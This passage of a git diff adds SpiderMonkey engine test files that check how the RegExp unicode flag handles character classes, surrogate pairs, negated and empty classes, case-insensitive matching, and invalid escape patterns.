+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC30"),
+ null);
+
+// ==== non-BMP + non-BMP range (other) ====
+
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uDD64"),
+ ["\uD834\uDD64"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD836\uDF99"),
+ ["\uD836\uDF99"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD838\uDC00"),
+ ["\uD838\uDC00"]);
+
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uDD63"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uE000"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD835\uDB99"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83D\uDB99"),
+ null);
+
+// ==== BMP + non-BMP range ====
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("B"),
+ ["B"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("C"),
+ ["C"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uFFFF"),
+ ["\uFFFF"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD800\uDC00"),
+ ["\uD800\uDC00"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD800"),
+ ["\uD800"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDBFF"),
+ ["\uDBFF"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDC00"),
+ ["\uDC00"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDFFF"),
+ ["\uDFFF"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDC38"),
+ ["\uDC38"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+assertEq(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+assertEq(/[\u{42}-\u{1F438}]/u.exec("A"),
+ null);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/[\\u{-1}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{0.0}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{G}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{{]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{110000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{00110000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{100000000000000000000000000000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{ FFFF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FFFF }]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FF FF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{F F F F}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{100000001}]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-empty.js b/js/src/tests/non262/RegExp/unicode-class-empty.js
new file mode 100644
index 0000000000..4d187551f6
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-empty.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- empty class should not match anything.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/[]/u.exec("A"),
+ null);
+assertEq(/[]/u.exec("\uD83D"),
+ null);
+assertEq(/[]/u.exec("\uDC38"),
+ null);
+assertEq(/[]/u.exec("\uD83D\uDC38"),
+ null);
+
+assertEqArray(/[^]/u.exec("A"),
+ ["A"]);
+assertEqArray(/[^]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^]/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[^]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-ignoreCase.js b/js/src/tests/non262/RegExp/unicode-class-ignoreCase.js
new file mode 100644
index 0000000000..afa7705c72
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-ignoreCase.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag for CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEqArray(/[ABC]+/iu.exec("DCBAabcd"),
+ ["CBAabc"]);
+
+assertEqArray(/[A\u{10401}]+/iu.exec("A\u{10401}a\u{10429}"),
+ ["A\u{10401}a\u{10429}"]);
+
+assertEqArray(/[\u{10401}-\u{10404}\u{10408}-\u{1040B}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10401}-\u{10404}\u{10408}-\u{1040B}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+assertEqArray(/[\u{10429}-\u{1042C}\u{10430}-\u{10433}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10429}-\u{1042C}\u{10430}-\u{10433}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+assertEqArray(/[\u{10401}-\u{10404}\u{10430}-\u{10433}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10401}-\u{10404}\u{10430}-\u{10433}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-lead-trail.js b/js/src/tests/non262/RegExp/unicode-class-lead-trail.js
new file mode 100644
index 0000000000..c83bf937d4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-lead-trail.js
@@ -0,0 +1,142 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- lead and trail pattern in RegExpUnicodeEscapeSequence in CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/[\uD83D\uDC38]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(/[\uD83D\uDC38]/u.exec("\uD83D"),
+ null);
+assertEq(/[\uD83D\uDC38]/u.exec("\uDC38"),
+ null);
+
+// no unicode flag
+assertEqArray(/[\uD83D\uDC38]/.exec("\uD83D\uDC38"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\uDC38]/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\uDC38]/.exec("\uDC38"),
+ ["\uDC38"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("[\uD83D\uDC38]", "u").exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(new RegExp("[\uD83D\uDC38]", "u").exec("\uD83D"),
+ null);
+assertEq(new RegExp("[\uD83D\uDC38]", "u").exec("\uDC38"),
+ null);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uD83D\uDC38"),
+ ["\uD83D"]);
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uDC38"),
+ ["\uDC38"]);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/[\uD83D]/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/[\uD83D]/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/[\uD83D]/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/[\uD83D]/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/[\uD83D]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// no unicode flag
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDC00"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDFFF"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/[\uDC38]/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/[\uDC38]/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/[\uDC38]/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/[\uDC38]/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/[\uDC38]/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// no unicode flag
+assertEqArray(/[\uDC38]/.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uD800\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDBFF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== invalid trail ====
+
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D\u3042\u3042\uD83D"),
+ ["\uD83D\u3042\u3042\uD83D"]);
+
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D\u3042\u3042\uD83D"),
+ ["\uD83D\u3042\u3042\uD83D"]);
+
+assertEqArray(/[\uD83DA]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83DA]*/u.exec("\uD83DA"),
+ ["\uD83DA"]);
+assertEqArray(/[\uD83DA]*/u.exec("\uD83DAA\uD83D"),
+ ["\uD83DAA\uD83D"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/[\\u]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u000G]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u0.00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u000G]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u0.00]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-negated.js b/js/src/tests/non262/RegExp/unicode-class-negated.js
new file mode 100644
index 0000000000..0b573f6dcf
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-negated.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- negated CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== BMP ====
+
+assertEqArray(/[^A]/u.exec("ABC"),
+ ["B"]);
+assertEqArray(/[^A]/u.exec("A\u{1F438}C"),
+ ["\u{1F438}"]);
+assertEqArray(/[^A]/u.exec("A\uD83DC"),
+ ["\uD83D"]);
+assertEqArray(/[^A]/u.exec("A\uDC38C"),
+ ["\uDC38"]);
+
+assertEqArray(/[^\uE000]/u.exec("\uE000\uE001"),
+ ["\uE001"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\uDC38"),
+ ["\uDC38"]);
+
+// ==== non-BMP ====
+
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}A"),
+ ["A"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\u{1F439}"),
+ ["\u{1F439}"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\uDC38"),
+ ["\uDC38"]);
+
+// ==== lead-only ====
+
+assertEqArray(/[^\uD83D]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDBFF"),
+ ["\uDBFF"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uE000"),
+ ["\uE000"]);
+
+// ==== trail-only ====
+
+assertEqArray(/[^\uDC38]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uDC38]/u.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+assertEqArray(/[^\uDC38]/u.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+assertEqArray(/[^\uDC38]/u.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+assertEqArray(/[^\uDC38]/u.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-range.js b/js/src/tests/non262/RegExp/unicode-class-range.js
new file mode 100644
index 0000000000..5bb7575601
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-range.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- disallow range with CharacterClassEscape.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => eval(`/[\\w-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\W-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\d-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\D-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\s-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\S-\\uFFFF]/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\w]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\W]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\d]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\D]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\s]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\S]/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\w-\\w]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\W-\\W]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\d-\\d]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\D-\\D]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\s-\\s]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\S-\\S]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-raw.js b/js/src/tests/non262/RegExp/unicode-class-raw.js
new file mode 100644
index 0000000000..742fec2b4d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-raw.js
@@ -0,0 +1,65 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- raw unicode.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(eval(`/[\uD83D\uDC38]/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(eval(`/[\uD83D\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped (lead)
+assertEq(eval(`/[\\uD83D\uDC38]/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/[\\u{D83D}\uDC38]/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (trail)
+assertEq(eval(`/[\uD83D\\uDC38]/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/[\uD83D\\u{DC38}]/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/[\\uD83D\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/[\uD83D\\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// ==== RegExp constructor ====
+
+assertEqArray(new RegExp("[\uD83D\uDC38]", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped(lead)
+assertEq(new RegExp("[\\uD83D\uDC38]", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("[\\u{D83D}\uDC38]", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(trail)
+assertEq(new RegExp("[\uD83D\\uDC38]", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("[\uD83D\\u{DC38}]", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(lead), no unicode flag
+assertEqArray(new RegExp("[\\uD83D\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped(trail), no unicode flag
+assertEqArray(new RegExp("[\uD83D\\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-disallow-extended.js b/js/src/tests/non262/RegExp/unicode-disallow-extended.js
new file mode 100644
index 0000000000..01d5d244e1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-disallow-extended.js
@@ -0,0 +1,139 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- disallow extended patterns.";
+
+print(BUGNUMBER + ": " + summary);
+
+// IdentityEscape
+
+assertEqArray(/\^\$\\\.\*\+\?\(\)\[\]\{\}\|/u.exec("^$\\.*+?()[]{}|"),
+ ["^$\\.*+?()[]{}|"]);
+assertThrowsInstanceOf(() => eval(`/\\A/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\-/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\U{10}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\U0000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\U0000/u`), SyntaxError);
+
+assertEqArray(/[\^\$\\\.\*\+\?\(\)\[\]\{\}\|]+/u.exec("^$\\.*+?()[]{}|"),
+ ["^$\\.*+?()[]{}|"]);
+assertThrowsInstanceOf(() => eval(`/[\\A]/u`), SyntaxError);
+assertEqArray(/[A\-Z]+/u.exec("a-zABC"),
+ ["-"]);
+assertThrowsInstanceOf(() => eval(`/[\\U{10}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\U0000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\U0000]/u`), SyntaxError);
+
+// PatternCharacter
+assertThrowsInstanceOf(() => eval(`/{}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{0}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{1,}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{1,2}/u`), SyntaxError);
+
+// QuantifiableAssertion
+assertEqArray(/.B(?=A)/u.exec("cBaCBA"),
+ ["CB"]);
+assertEqArray(/.B(?!A)/u.exec("CBAcBa"),
+ ["cB"]);
+assertEqArray(/.B(?:A)/u.exec("cBaCBA"),
+ ["CBA"]);
+assertEqArray(/.B(A)/u.exec("cBaCBA"),
+ ["CBA", "A"]);
+
+assertThrowsInstanceOf(() => eval(`/.B(?=A)+/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/.B(?!A)+/u`), SyntaxError);
+assertEqArray(/.B(?:A)+/u.exec("cBaCBA"),
+ ["CBA"]);
+assertEqArray(/.B(A)+/u.exec("cBaCBA"),
+ ["CBA", "A"]);
+
+// ControlLetter
+assertEqArray(/\cA/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/\cZ/u.exec("\u001a"),
+ ["\u001a"]);
+assertEqArray(/\ca/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/\cz/u.exec("\u001a"),
+ ["\u001a"]);
+
+assertEqArray(/[\cA]/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/[\cZ]/u.exec("\u001a"),
+ ["\u001a"]);
+assertEqArray(/[\ca]/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/[\cz]/u.exec("\u001a"),
+ ["\u001a"]);
+
+assertThrowsInstanceOf(() => eval(`/\\c/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\c1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\c_/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\c]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\c1]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\c_]/u`), SyntaxError);
+
+// HexEscapeSequence
+assertThrowsInstanceOf(() => eval(`/\\x/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x1G/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\x]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\x0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\x1]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\x1G]/u`), SyntaxError);
+
+// LegacyOctalEscapeSequence
+assertThrowsInstanceOf(() => eval(`/\\52/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\052/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\52]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\052]/u`), SyntaxError);
+
+// DecimalEscape
+assertEqArray(/\0/u.exec("\0"),
+ ["\0"]);
+assertEqArray(/[\0]/u.exec("\0"),
+ ["\0"]);
+assertEqArray(/\0A/u.exec("\0A"),
+ ["\0A"]);
+assertEqArray(/\0G/u.exec("\0G"),
+ ["\0G"]);
+assertEqArray(/(A.)\1/u.exec("ABACABAB"),
+ ["ABAB", "AB"]);
+assertEqArray(/(A.)(B.)(C.)(D.)(E.)(F.)(G.)(H.)(I.)(J.)(K.)\10/u.exec("A1B2C3D4E5F6G7H8I9JaKbJa"),
+ ["A1B2C3D4E5F6G7H8I9JaKbJa", "A1", "B2", "C3", "D4", "E5", "F6", "G7", "H8", "I9", "Ja", "Kb"]);
+
+assertThrowsInstanceOf(() => eval(`/\\00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\01/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\09/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\2/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\3/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\4/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\5/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\6/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\7/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\8/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\9/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\10/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\01]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\09]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\1]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\2]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\3]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\4]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\5]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\6]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\7]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\8]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\9]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\10]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
